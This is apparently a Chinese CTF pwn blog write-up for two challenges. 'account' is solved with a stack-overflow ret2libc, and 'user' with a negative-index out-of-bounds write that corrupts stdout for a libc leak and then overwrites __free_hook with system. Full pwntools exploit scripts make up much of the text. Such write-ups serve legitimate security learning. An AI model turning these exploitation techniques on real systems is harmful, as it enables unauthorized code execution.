暑假没事写一篇水下博客 感觉过的好快 一下就又好久没更了

account

本题是个32位文件,并且内容清晰明了

image-20250808153413723

我们输入的数据被存储到v1变量中 然后v1数组逐渐向栈的高地址增长,这里就会有栈溢出漏洞了

所以我们的思路就是利用这个进行ret2libc然后拿到shell

但是注意v2参数的覆盖当v2=10 也就是v1[10]的时候我们覆盖的是v2也就是ebp-0xc的位置 这里我们覆盖一个合法的值

所以我们直接覆盖v2值为13 到后面v2++变成14时 我们修改的就是返回地址的值了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
elf = ELF("./account")
libc = ELF("./libc-2.31.so")
p = process("./account")
context.log_level ='debug'
for i in range(10):
p.sendline(b'5201314')
p.sendline(b'13')

main =0x8049264
p.sendline(str(elf.plt['puts']).encode())
p.sendline(str(main).encode())
p.sendline(str(elf.got['puts']).encode())

p.sendline(b'0')
p.recvuntil(b'Recording completed\n')
libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))-0x6dc40

到这里就泄露了libc地址

image-20250808160042237

然后再来一遍我们覆盖返回地址为shell即可

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(10):
p.sendline(b'5201314')
p.sendline(b'13')

def to_signed(val):
return val if val < 0x80000000 else val - 0x100000000

p.sendline(str(to_signed(libc.sym['system'])).encode())
p.sendline(str(to_signed(0x80492EA)).encode()) #ret
p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode())

p.sendline(b'0')

但是需要注意的是32位程序中的地址均为4字节无符号整数,而程序使用__isoc99_scanf(“%d”, v1)读入的是4字节有符号整数。

所以我们大于0x80000000就需要进行转换 转换成负数 这样存到内存中就会是补码表示

例如:

1
-142592096 mod 2^32 = 0xF7E4B310

简单来说就是大于0x80000000的地址超出范围了 直接写不进去 用负数补码写进去就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
elf = ELF("./account")
libc = ELF("./libc-2.31.so")
p = process("./account")
context.log_level ='debug'
for i in range(10):
p.sendline(b'5201314')
p.sendline(b'13')

main =0x8049264
p.sendline(str(elf.plt['puts']).encode())
p.sendline(str(main).encode())
p.sendline(str(elf.got['puts']).encode())

p.sendline(b'0')
p.recvuntil(b'Recording completed\n')
libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))-0x6dc40
libc.address = libc_base
success("libc_base = "+ hex(libc_base))
print('system',hex(libc.sym['system']))
print('bin_sh',hex(next(libc.search(b'/bin/sh'))))

for i in range(10):
p.sendline(b'5201314')
p.sendline(b'13')

def to_signed(val):
return val if val < 0x80000000 else val - 0x100000000

p.sendline(str(to_signed(libc.sym['system'])).encode())
p.sendline(str(to_signed(0x80492EA)).encode()) #ret
p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode())

p.sendline(b'0')

p.interactive()

得到shell

user

image-20250808160816840

经典堆的菜单题 还帮你写好了功能

add

image-20250808160913313

能创建5个chunk 并且可以写0x40的内容

delete

image-20250808161003990

删除堆块 不允许4以上 但没有禁止负数

show

image-20250808161110267

居然不给show 那应该咋泄露libc

edit

image-20250808161617150

编辑大小为40 并且没有限制负数

既然show函数没有开放 我们就可以联想到利用stdout泄露一下

image-20250808162547840

可以看到stdout并且距离heap很近

本题还是比较简单进行利用 只需要数组越界就可以泄露了 不然可能还要爆破啥的

1
2
3
4
5
6
7
p.sendlineafter(b'5. Exit\n',b'4')
p.sendlineafter(b'index:\n',b'-8')
p.sendafter(b'Enter a new username:\n', p32(0xfbad1800) + p32(0) + p64(0) *3+ p8(0x0))

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -0x1ec980
libc.address = libc_base
success("libc_base = "+ hex(libc_base))

至于要把stdout修改成什么 这部分就涉及了io_file的内容 这部分要满足一些条件才能够进行泄露

这里就不细说了 详细的就去学习这方面的相关知识

然后我们就泄露出了libc的地址

然后就想办法拿shell

这里我们发现第二行可以利用 先是改成free 然后改成system即可

我们在0号堆块输入/bin/sh 然后进行free 这样我们就相当于进行了system(/bin/sh)拿到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

elf = ELF("./user")
libc = ELF("./libc.so.6")
p = process("./user")
context.log_level ='debug'

p.sendlineafter(b'5. Exit\n',b'4')
p.sendlineafter(b'index:\n',b'-8')
p.sendafter(b'Enter a new username:\n', p32(0xfbad1800) + p32(0) + p64(0) *3+ p8(0x0))

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -0x1ec980
libc.address = libc_base
success("libc_base = "+ hex(libc_base))

p.sendlineafter(b'5. Exit',b'1')
p.sendafter(b'Enter your username:',b'/bin/sh')

p.sendlineafter(b'5. Exit',b'4')
p.sendlineafter(b'index:',b'-11')
p.sendafter(b'Enter a new username:', p64(libc.sym['__free_hook']))

p.sendlineafter(b'5. Exit',b'4')
p.sendlineafter(b'index:',b'-11')
p.sendafter(b'Enter a new username:', p64(libc.sym['system']))

p.sendlineafter(b'5. Exit',b'2')
p.sendlineafter(b'index:',b'0')

p.interactive()

image-20250808165428134

得到shell

已经好久都没有搞pwn了 感觉自己都快要忘完了(也可能就没会过),而且以后可能基本上就不做题了,最近还是依旧emo。